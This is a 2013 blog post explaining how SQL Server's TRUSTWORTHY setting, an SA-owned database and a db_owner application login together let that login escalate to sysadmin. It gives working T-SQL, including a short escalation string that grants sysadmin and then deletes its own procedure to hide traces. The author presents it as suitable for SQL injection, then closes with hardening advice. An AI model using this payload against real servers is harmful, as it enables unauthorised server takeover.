Jun 182013
 

Introduction

A few weeks ago (okay, a few more than a few weeks ago) I wrote about the TRUSTWORTHY database property and how it changes effective permissions. At that point I promised to show how the trustworthy property can be misused for malicious intent. With this post I am going to deliver on that promise. I am going to show how two often encountered configuration choices together with the TRUSTWORTHY database property open up a big security hole.

Database Ownership

Most databases out there were created by a member of the sysadmin server role. By default any database is owned by the principal that created it, so it is probably safe to say that most databases out there are owned by a sysadmin. Even more so as many sources recommend changing the database owner to SA on all databases.

Application User

It has been written and talked about in many places and most of us know that granting more than the absolute necessary permissions to a user is a bad idea. This is particularly true for users that are used by an application to access the database.

But still, there are many products out there that recommend or even enforce that the connection to the database is made by a login that is mapped to the db_owner role in that application's database.

Trustworthiness

Most things in SQL Server that "require" a database set to TRUSTWORTHY can actually be implemented using certificates instead. An example is cross database Service Broker communication. You can either just mark the databases involved as TRUSTWORTHY and be done with it, or you have to create a more secure but considerably more complex setup involving certificates. Many people shy away from the certificate route and use the quick and easy TRUSTWORTHY fix.

Hidden Evil

Now let us have a look at what happens when those three things I just mentioned, a sysadmin owned database, an application login that is a db_owner and a database set to be TRUSTWORTHY, apply to the same database. As we learned in the first part of this article, a stored procedure that is set to execute as owner and that is owned by a database owner will during execution acquire the permission set of the actual database owner if the database is set to TRUSTWORTHY. But in this case that database owner is member of the sysadmin server role. So effectively, the application user now has sysadmin rights.

Example

Let's look at an example. First we are going to create a new database with a few supporting objects that we will use later on.

USE tempdb;
GO
IF OBJECT_ID('tempdb..#ForceDropDatabase') IS NOT NULL DROP PROCEDURE #ForceDropDatabase;
GO
CREATE PROCEDURE #ForceDropDatabase
@db_name NVARCHAR(MAX)
AS
BEGIN
  IF(DB_ID(@db_name)IS NOT NULL)
  BEGIN
    EXEC('
    USE master;
    ALTER DATABASE '+@db_name+' SET RESTRICTED_USER WITH ROLLBACK IMMEDIATE;
    USE '+@db_name+';
    ALTER DATABASE '+@db_name+' SET SINGLE_USER WITH ROLLBACK IMMEDIATE;
    USE master;
    DROP DATABASE '+@db_name+';
    ');
  END;
END
GO
EXEC #ForceDropDatabase 'SaOwnedDb';
GO
EXECUTE AS LOGIN = 'SA';
GO
CREATE DATABASE SaOwnedDb;
GO
USE SaOwnedDb;
GO
CREATE SCHEMA hlp;
GO
CREATE PROCEDURE hlp.TryExec
  @cmd NVARCHAR(MAX)
AS
BEGIN
  BEGIN TRY
    EXEC(@cmd);
  END TRY
  BEGIN CATCH
    SELECT 'TryExec' info,'|'[|],@cmd cmd,ERROR_MESSAGE() error_message;
  END CATCH;
END;
GO
CREATE PROCEDURE hlp.DatabaseProperties
AS
BEGIN
  SELECT 'DatabaseProperties' info,'|'[|],d.name database_name,p.name database_owner,d.is_trustworthy_on 
  FROM sys.databases d
  JOIN sys.server_principals p
  ON d.owner_sid = p.sid
  WHERE d.database_id = DB_ID();
END;
GO
CREATE PROCEDURE hlp.ObjectProperties
 @object_name NVARCHAR(MAX)
WITH EXECUTE AS SELF
AS
BEGIN
  SELECT  'ObjectProperties' info,'|'[|],
          s.name schema_name,
          p.name object_name,
          USER_NAME(p.principal_id) object_owner,
          USER_NAME(s.principal_id) schema_owner,
          CASE m.execute_as_principal_id
            WHEN -2 THEN 'OWNER'
            ELSE USER_NAME(m.execute_as_principal_id)
          END execute_as_user
  FROM    sys.procedures p
  JOIN    sys.sql_modules m
          ON p.object_id = m.object_id
  JOIN    sys.schemas s
          ON p.schema_id = s.schema_id
  WHERE   p.object_id = OBJECT_ID(@object_name);
END;
GO
CREATE FUNCTION hlp.CurrentTokens()
RETURNS TABLE
AS
RETURN
  SELECT 'CurrentTokens' info,'|'[|],OBJECT_NAME(@@PROCID)procedure_name,USER_NAME() [user],SUSER_NAME() [login],'|'[l], *
  FROM(
    SELECT 'user' token_source,name, type, usage FROM sys.user_token
    UNION ALL
    SELECT 'login' token_source,name, type, usage FROM sys.login_token
  )X;
GO
CREATE FUNCTION hlp.RoleMembership(@principal_name SYSNAME)
RETURNS TABLE
AS
RETURN
  SELECT 'RoleMembership' info,'|'[|],sp.name member_name, spr.name role_name
  FROM sys.server_principals sp
  JOIN sys.server_role_members srm
  ON sp.principal_id = srm.member_principal_id
  JOIN sys.server_principals spr
  ON srm.role_principal_id = spr.principal_id
  WHERE sp.NAME = @principal_name;
GO
GRANT EXECUTE,SELECT ON SCHEMA::hlp TO PUBLIC;
GO
ALTER DATABASE SaOwnedDb SET TRUSTWORTHY ON;
GO
EXEC hlp.DatabaseProperties;
GO
USE tempdb;
GO
REVERT;
GO

When you execute this code, it will drop any preexisting database with the name SAOwnedDb. Then it creates a new database with the same name, using EXECUTE AS LOGIN = 'SA'; to make sure the database is owned by SA. Afterwards the script creates the hlp schema with its helper procedures. As last step, the database is set to trustworthy. The output of the hlp.DatabaseProperties procedure allows us to check the database owner as well as the trustworthy state:

Creating the SAOwnedDb Database

The next step now is to create a login and an associated user and then make that user a member of the db_owner role in our database.

USE SaOwnedDb;
GO
CREATE LOGIN ApplicationLogin WITH PASSWORD = '**********';
CREATE USER ApplicationUser FROM LOGIN ApplicationLogin;
GO
ALTER ROLE db_owner ADD MEMBER ApplicationUser;
GO
IF OBJECT_ID('dbo.CheckPerms') IS NOT NULL DROP PROCEDURE dbo.CheckPerms;
GO
CREATE PROCEDURE dbo.CheckPerms
WITH EXECUTE AS OWNER
AS
BEGIN
  SELECT * FROM hlp.CurrentTokens();
END;
GO
EXECUTE AS USER='ApplicationUser';
GO
EXEC dbo.CheckPerms;
GO
REVERT;
GO

The above script also creates a procedure dbo.CheckPerms that will list the security tokens in effect when it gets executed. Notice that it has the EXECUTE AS OWNER clause specified. The output of that procedure when executed by our ApplicationUser looks like this:

Checking Effective Permissions

Particularly interesting is row 4 of the result. Is shows that all sysadmin privileges are in full effect while the procedure is executing. (Refer back to the first part for a little more information on security tokes.)

The Hack

The following code shows a short character string that when executed elevates the ApplicationLogin to a sysadmin.

EXECUTE AS USER = 'ApplicationUser';
GO
DECLARE @cmd NVARCHAR(MAX) = 
  'EXEC(''CREATE PROC dbo.hack WITH EXECUTE AS OWNER AS '+
  'ALTER SERVER ROLE sysadmin ADD MEMBER ApplicationLogin;'');'+
  'EXEC dbo.hack;DROP PROC dbo.Hack;'
 
EXEC(@cmd)
GO
REVERT
GO
SELECT * FROM hlp.RoleMembership('ApplicationLogin');

The output of the SELECT statement at the end confirms that the login now is indeed member of the sysadmin server role:

Permission Escalation

The string first creates a new procedure with the EXECUTE AS OWNER option. Because the ApplicationUser is a member of the db_owner database role it has the necessary permissions to create that object. Inside the procedure is the code that is used to elevate an account. This example is using the ApplicationLogin for this purpose, but it could be any login. The code could even create a new login.

At the end the string contains two statements to first execute the procedure and then drop it to remove all traces.

This string is certainly short enough to be used in a SQL Injection attack. SQL Injection is not that unlikely to happen. Most of the applications I see at my clients have more or less big holes in this regard.

But we don't even need to go there. Most attacks on a company's IT infrastructure originate in-house. This string could for example just be executed by any person that happens to have to password to this account — likely many people as it is used by the application to connect to the server.

Summary

We have seen that the combination of the TRUSTWORTHY database setting with two other often seen configurations opens up the entire server to a malicious user that manages to get a short SQL command injected and executed. Don't let your IT infrastructure fall prey to an attack like this.

Avoid using the TRUSTWORTHY database property. But if you have to use it, make sure that the database is owned by an account that does not have more permissions outside of the database than absolutely necessary. And – most important – do not have your application use a login that is member of the db_owner database role.

0 comments